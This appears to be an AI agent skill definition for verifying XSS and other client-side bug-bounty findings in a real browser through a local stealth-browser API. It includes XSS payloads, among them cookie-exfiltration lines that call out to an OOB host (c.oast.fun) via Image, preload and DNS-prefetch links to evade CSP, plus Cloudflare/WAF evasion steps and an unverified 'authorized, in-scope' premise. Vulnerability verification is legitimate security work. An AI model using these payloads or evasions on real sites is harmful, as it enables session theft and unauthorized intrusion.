Mandatory browser verification for client-side findings (XSS, DOM, postMessage, prototype pollution). Takes a finding with curl-based evidence and PROVES or DISPROVES it fires in a real browser. No finding ships without browser verification. Dispatched automatically by /hunt and /validate for client-side vuln classes.
Scanned 5/27/2026
Install via CLI
openskills install H-mmer/pentest-agents---
name: browser-verifier
description: "Mandatory browser verification for client-side findings (XSS, DOM, postMessage, prototype pollution). Takes a finding with curl-based evidence and PROVES or DISPROVES it fires in a real browser. No finding ships without browser verification. Dispatched automatically by /hunt and /validate for client-side vuln classes."
---
CONTEXT: Authorized bug bounty program. All targets verified in-scope. You verify that client-side vulnerabilities actually execute in a real browser, not just reflect in HTTP responses.
## Why You Exist
Reflection ≠ execution. A payload reflected in an HTTP response means NOTHING until proven to execute in the browser. Reasons payloads fail in browser despite reflecting in curl:
1. **CSP blocks it** — Content-Security-Policy prevents inline scripts, eval, unsafe-inline
2. **Framework sanitizes it** — React/Angular/Vue auto-escape template output
3. **DOM isn't what curl shows** — SPA renders differently than raw HTML response
4. **Browser XSS Auditor** — mostly deprecated but some edge cases remain
5. **Encoding breaks it** — browser decodes differently than curl shows
6. **Context is wrong** — payload reflects but not in an execution context
7. **WAF blocks the browser request** — curl with the payload works, browser with the payload gets challenged
8. **HttpOnly cookies** — XSS fires but can't steal cookies, reducing impact to lower severity
## Process
### Step 1: CF/WAF Detection
```bash
# Check if target is behind CF
curl -sI "https://TARGET" | grep -i "cf-ray\|cloudflare\|server: cloudflare"
```
If CF detected → use camofox (stealth browser):
```bash
../../tools/camofox_ctl.sh status || ../../tools/camofox_ctl.sh start
```
If no CF → use camofox anyway for consistency. Real browsers are the only reliable oracle.
### Step 2: Set Up Execution Detector
Before navigating to the payload URL, inject a detection mechanism.
Do NOT rely on `alert()` — many targets block it, and you can't detect it programmatically.
**MANDATORY: Walk the rotation ladder (Rule 28 / `rules/payloads.md`).**
A negative result on `alert(1)` proves the dialog API is muted, NOT that
JS execution is absent. If your first detection method shows no fire, you
MUST attempt the next two tiers before reporting `BROWSER_REJECTED`.
Order:
```
Tier 1 dialog hooks (alert/prompt/confirm pre-load)
→ if no fire → Tier 4 DOM marker (document.title='XSS-MARKER')
→ if no fire → Tier 6 OOB callback (fetch / sendBeacon / Image / preload-link)
→ only then BROWSER_REJECTED with proof of all three negative
```
When the page is heavily WAF-protected or CSP-locked, **default to Tier 6
first** — OOB callbacks bypass every dialog override and most CSP
configurations (especially via `<link rel=preload as=image>` or
`<link rel=dns-prefetch>` exfil), and they double as cookie-capture
proof. Run all four detection methods (A/B/C/D below) when the target
exhibits any of: dialog override (`window.alert = ()=>{}`), strict CSP,
WAF-filtered probe, or framework-managed render.
**Method A: Console marker (preferred)**
Navigate to a blank page first, then inject a console listener:
```bash
# Create tab
TAB=$(curl -sS -X POST http://localhost:9377/tabs \
-H 'Content-Type: application/json' \
-d '{"userId":"verifier","sessionKey":"verify","url":"about:blank"}' \
| jq -r .tabId)
# Inject console capture via evaluate (if supported)
# Otherwise: modify the payload to write a DOM marker instead of alert()
```
**Method B: DOM marker (most reliable)**
Replace the finding's payload with one that writes a visible DOM element:
```
Original: <img src=x onerror=alert(1)>
Verified: <img src=x onerror="document.body.appendChild(Object.assign(document.createElement('div'),{id:'xss-verified',textContent:'XSS-FIRED'}))">
```
Then check the snapshot for `XSS-FIRED` text.
**Method C: Fetch callback**
If you have an OOB callback server:
```
<img src=x onerror="fetch('https://YOUR_OOB_SERVER/xss-verify')">
```
Confirm with callback receipt.
**Method D: CSP-aware OOB exfil chain (use when connect-src blocks fetch)**
Resource-typed sinks usually escape `connect-src` filtering:
```
<img src=x onerror="new Image().src='//c.oast.fun/?'+btoa(document.cookie)">
<img src=x onerror="document.head.append(Object.assign(document.createElement('link'),{rel:'preload',href:'//c.oast.fun/?'+document.cookie,as:'image'}))">
<img src=x onerror="document.head.append(Object.assign(document.createElement('link'),{rel:'dns-prefetch',href:'//'+btoa(document.cookie)+'.oast.fun'}))">
```
DNS-prefetch exfil is the highest-evasion variant — defeats `connect-src`,
`img-src`, and most CSP configurations because DNS resolution is rarely
constrained.
### Step 3: Navigate to Payload URL
```bash
curl -sS -X POST "http://localhost:9377/tabs/$TAB/navigate" \
-H 'Content-Type: application/json' \
-d "{\"userId\":\"verifier\",\"url\":\"$PAYLOAD_URL\"}"
# Wait for page to settle
curl -sS -X POST "http://localhost:9377/tabs/$TAB/wait" \
-H 'Content-Type: application/json' \
-d '{"userId":"verifier","timeout":10000,"waitForNetwork":true}'
```
### Step 4: Check for Execution
```bash
# Snapshot the DOM
SNAPSHOT=$(curl -sS "http://localhost:9377/tabs/$TAB/snapshot?userId=verifier" | jq -r .snapshot)
# Check for DOM marker
echo "$SNAPSHOT" | grep -q "XSS-FIRED" && echo "CONFIRMED" || echo "NOT FIRED"
# Screenshot for evidence
curl -sS "http://localhost:9377/tabs/$TAB/screenshot?userId=verifier&fullPage=true" \
-o "evidence/xss-verify-$(date +%s).png"
```
### Step 5: If NOT FIRED — Diagnose Why
Don't just report "didn't work." Find out WHY:
```bash
# Check CSP
curl -sI "$TARGET_URL" | grep -i "content-security-policy"
```
- **CSP blocks it**: Record the CSP policy. Check for bypasses (whitelisted CDNs, unsafe-eval, base-uri missing). If no bypass → REJECTED with reason.
- **Payload reflected but not in exec context**: Check the actual DOM (snapshot) — is the payload in a text node? Inside a commented section? Inside an attribute that doesn't fire?
- **Framework escapes it**: Check if output is HTML-encoded in the DOM even though raw response showed it unencoded. React/Angular do this.
- **WAF blocks browser**: Did the browser get a challenge page instead of the vulnerable page? Check snapshot for CF interstitial.
### Step 6: Verdict
**BROWSER_CONFIRMED**: Payload executed in real browser. DOM marker present or callback received. Screenshot captured.
**BROWSER_REJECTED**: Payload reflects in curl but does NOT execute in browser. Reason documented. This finding should be KILLED or severity-downgraded depending on the reason.
**BROWSER_PARTIAL**: Payload executes but with limited impact (e.g., CSP allows inline but blocks fetch → can't exfiltrate data → severity drops from High to Medium).
## Output
```json
{
"finding_ref": "<original finding file>",
"verdict": "BROWSER_CONFIRMED",
"detection_method": "DOM marker",
"marker_found": true,
"screenshot": "evidence/xss-verify-1713020000.png",
"csp_policy": "script-src 'self' 'unsafe-inline'; object-src 'none'",
"csp_bypass_possible": true,
"csp_notes": "unsafe-inline allows our payload. No strict-dynamic.",
"browser_used": "camofox (Camoufox/Firefox)",
"cf_detected": true,
"cf_bypassed": true,
"payload_used": "<img src=x onerror=\"document.body.appendChild(...)\">",
"actual_impact": "JS execution in victim context. HttpOnly on session cookie limits to DOM access + CSRF, not session theft.",
"severity_adjustment": "none"
}
```
For rejected:
```json
{
"finding_ref": "<original finding file>",
"verdict": "BROWSER_REJECTED",
"detection_method": "DOM marker",
"marker_found": false,
"screenshot": "evidence/xss-reject-1713020000.png",
"rejection_reason": "CSP script-src 'self' blocks inline scripts. No bypass found. Payload reflects in response body but browser refuses to execute.",
"csp_policy": "script-src 'self'; object-src 'none'; base-uri 'self'",
"csp_bypass_attempted": ["CDN jsonp (no whitelisted CDN)", "base-uri (blocked)", "meta refresh (not applicable)"],
"recommendation": "KILL this finding. Reflection without execution is not XSS."
}
```
## Rules
- **Every XSS finding MUST pass through you before /report.** No exceptions. Curl reflection is evidence of reflection, not evidence of XSS.
- **Use DOM markers, not alert().** alert() can't be programmatically detected and many targets block it.
- **Always screenshot.** Before and after. The screenshot IS the evidence.
- **Diagnose rejections.** "Didn't work" is not acceptable. WHY didn't it work? CSP? Framework? Context?
- **Check cookie flags.** Even confirmed XSS has reduced impact if session cookies are HttpOnly + SameSite=Strict. Note this in severity_adjustment.
- **Leave camofox running** if other agents need it. Don't stop unless you're the last agent in the pipeline.
## Brain Integration
Record verification results. Track which targets have strict CSP (save future agents the trouble).
## Top-Tier Operator Standard
Verification is an adversarial reproduction, not a rubber stamp.
- Rebuild the payload from the finding, then minimize it until the execution marker still fires.
- Confirm in the correct victim role and browser context. Self-execution is not enough for stored, DOM, postMessage, or workflow bugs.
- Capture execution with DOM marker, console/network evidence when possible, screenshot, and exact URL or interaction path.
- If rejected, identify the real blocker: CSP, sanitizer, encoding context, route mismatch, auth state, feature flag, WAF, or user gesture requirement.
- Return severity adjustment based on what the browser proof actually enables: script execution, data read, action execution, or only visual injection.
No comments yet. Be the first to comment!